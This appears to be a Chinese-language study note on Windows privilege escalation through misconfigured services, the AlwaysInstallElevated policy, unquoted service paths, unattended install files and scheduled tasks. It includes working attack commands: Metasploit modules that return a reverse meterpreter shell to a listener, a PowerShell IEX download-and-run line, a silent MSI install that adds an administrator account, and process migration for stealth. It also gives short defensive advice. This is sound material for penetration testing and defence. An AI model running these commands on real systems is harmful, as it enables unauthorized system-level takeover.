windows 操作系统中常见的配置错误包括管理员凭据配置错误,服务配置错误,故意削弱的安全措施,用户权限过高等

Windows 系统服务文件在操作系统启动时加载和执行,如果一个低权限用户对此类系统服务调用的可执行文件拥有写权限,就可以将该文件替换成任意可执行文件,并随着系统服务的启动获得系统权限


Windows 服务是以 system 权限运行的,其文件夹、文件和注册表 key-value 都是受强制访问控制保护如果出现以下配置服务情况则可能出现漏洞

系统服务权限配置错误情况

1
2
3
4
5
6
账号未运行:
攻击者会使用任意服务替换原来服务,然后重启服务


服务正在运行且无法被终止:
这种情况符合绝大多数的漏洞利用情景攻击者通常会利用DLL劫持技术并尝试重启服务提权。

# 系统服务缺陷

PowerUP 提权框架

PowerUPGitHub 地址

PowerUPGitHub 工具教程

# MSF service_permissions 提权

MSF``service_permissions 模块选择 AGGRESSIVE 可以利用目标上的每一个有缺陷的服务进行提权

模块通过 2 种方法获得 System 权限

1
2
3
4
1.meterpreter以管理员权限运行,该模块会尝试创建并运行一个服务

2.当前权限不允许创建服务,该模块会判断哪些服务的文件夹或者文件夹的权限存在问题,并允许对其劫持
在创建服务或者劫持已经存在的服务时,该模块会创建一个可执行程序,其文件和安装路径是随机的

得到机器 shell 后首先退回该会话,然后进入 service_permissions 模块进行设置,做完设置后如果 run

后执行成功会自动反弹一个新的 meterpreter(system) 权限

1
2
3
4
use exploit/windows/local/service_permissions 
set lhost 192.168.111.128
set lport 777
run

# 注册表键值 AlwaysInstallElevated

AlwaysInstallElevated 提权介绍

注册键 AlwaysInstallElevated 是一个策略设置项,它允许低权限用户以 System 权限运行安装文件,如果启用该策略,那么任何权限用户都可以用 Systen 权限安装 ** 恶意 **** MSI(Microsoft WindowsInstaller) ** 文件

# Windows Installer 的相关知识

# 特权安装功能漏洞

PathAlwaysInstallElevated 该漏洞产生的原因是用户开启了 Windows Installer 特权安装功能

1
2
组装略——计算机配置——管理模板——Windows组件——Windows Insaller——永远以高特权进行安装:选择启用
组策略——用户配置-——管理模板——Windows组件——Windows Intaller——永远以高特权进行安装:选择启用

如上设置后,会在注册表的以下两个位置自动创建键值 1 代表普通用户可以 system 权限安装 MSI 文件

1
2
HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer\AlwaysInstall Elevated

# PowerUp 提权框架测试漏洞

使用 PowerUpGet-RegistryAlwaysInstallElevated 模块来检查注册表键是否被设置

如果 AlwaysInstallElevated 注册键已经被设置,就意味着 MSI 文件是以 System 权限运行的。运行该模块的命令如下, True 表示已经设置,下面也有第二种探测命令,利用框架其他模块生成 MSI 文件,该文件会添加管理员账户

1
2
// 判断脚本是否成功设置注册表
powershell.exe -exec bypass IEX (NEW-Object Net.WebClient).DownloadString('c:\\Users\test\Desktop\PowerUp.ps1'); Get-RegistryAlwaysInstallElevated

1
2
3
4
// 脚本判断注册表是否设置

import-Module .\PowerUp.ps1 // 加载脚本
Get-RegistryAlwaysInstallElevated

  • 正常未设置情况

运行 Write-UserAddMSI 模块,生成一个 MSI 文件

1
Write-UserAddMSI   // 管理员权限允许命令

运行 MSI 文件,就会添加一个管理员账户

1
msiexec /q /i UserAdd.msi  // 普通用户权限用户命令

# 漏洞防范

禁用注册表 AlwaysInstallElevated 不要使用该策略

# 可信任服务路径漏洞

利用 windows 文件路径解析的特性,如果一个服务调用的可执行文件没有正确处理所引用的完整路径名,这个漏洞就会被攻击者用来上传任意可执行文件

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就有漏洞

漏洞存在如下两种可能

  • 如果路径与服务有关,就任意创建一个服务或者编译 Sericce 模板。
  • 如果路径与可执行文件有关,就任意创建个可执行文件

# 漏洞原理

Windows 服务通常都是以 System 权限运行,所以系统解析服务所对应的文件路径中的空格时,也会以系统权限进行

例如文件路径 "C:\yue se\saber.exe" 路径存在空格,系统都会尝试寻找并执行与空格前面名字匹配的程序,类似于通配符了,直到找到一个可以匹配的程序

1
2
3
C:\yue 
C:\yue se\saber.exe"

利用 windows 系统匹配机制,我们可以控制一个适当命名的可执行程序到受影响目录,当机器重启,启动服务就会去目录下找,存在空格的服务就会全局匹配,这匹配到我们的程序就会执行并且是 System 权限

# 利用步骤

命令探测是否存在空格的服务,貌似我还挺多的

1
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

记录下存在空格路径的文件地址,对这样文件夹检查是否有写权限,不然我们构造的服务也是无法上传的,需要目标文件夹的权限是 Everyone:(OI)(CI)(F) 用户对这个文件夹有完全控制权限。也就是说,所有用户都具有修改这个文件夹的权限

1
检测方式:icacls 目标文件夹路径

确认目标机器中存在此漏洞后,把要上传的程序重命名并放置在存在此漏洞且可写的目录下,执行如下命令,尝试重启服务,构造的程序前缀名称根据实际情况来,制作的内容还不太懂

1
2
sc stop service_name  // 首先停止指定的服务名称
sc start service_name // 重启指定服务名称

# MSF 模块利用

使用 msf 中的 WINDOWS Service Trusted Path Privilege Escalation 模块进行渗透测试。该模块会将可执行程序放到受影响的文件夹中,然后讲受影响的服务重启

1
2
3
4
5
6
7
8
9
10
use exploit/windows/local/unquoted_service_path  // 使用模块
set SESSION 1 // 第一个会话
set LHOST 192.168.111.128
set lport 777

migrate 999 // MSF进程迁移命令将当前恶意进程(payload)迁移到另一个进程中,以提高持久性和隐蔽性

run // 命令执行后,反弹一个新的meterpreter,但是反弹的会很快终端,需迁移进程
// 在渗透测试中,需要在终止载荷进程之前将它迁移到其他进程中,可以使用“set AutoRunScript migrate -f"命令自动迁移进程

# 漏洞防范

不要在服务路径包含空格,文件夹读写权限严格

# 自动安装配置文件

网络管理员在内网中配置同一个环境是,通常会采用脚本化批量部署。在这个过程中,会使用配置文件。这些文件可能包含本地管理员账户密码信息。这些文件列举如下

1
2
3
4
5
6
7
8
C:\sysprep.inf
C:\sysprep\sysprep.xml


// 命令寻找搜索Unattend.xml文件

dir /b /s c:\Unattend.xml

MSF 集成了该漏洞的利用模块 post/windows/gather/enum_unattend

1
2
3
4
use post/windows/gather/enum_unattend
set SESSION 5 // 设置会话即可无多余设置
run // 执行

# 计划任务

** 如果攻击者以高权限运行的计划任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序。** 这样在下次计划任务执行时,就会以高权限来运行我们覆盖后的程序

1
schtasks /query /fo LIST /v // 查看机器计划任务

系统直接搜索或是在控制面板中搜索计划任务都可以打开,作为攻击方利用此添加木马程序,蓝队方发现可疑计划任务删除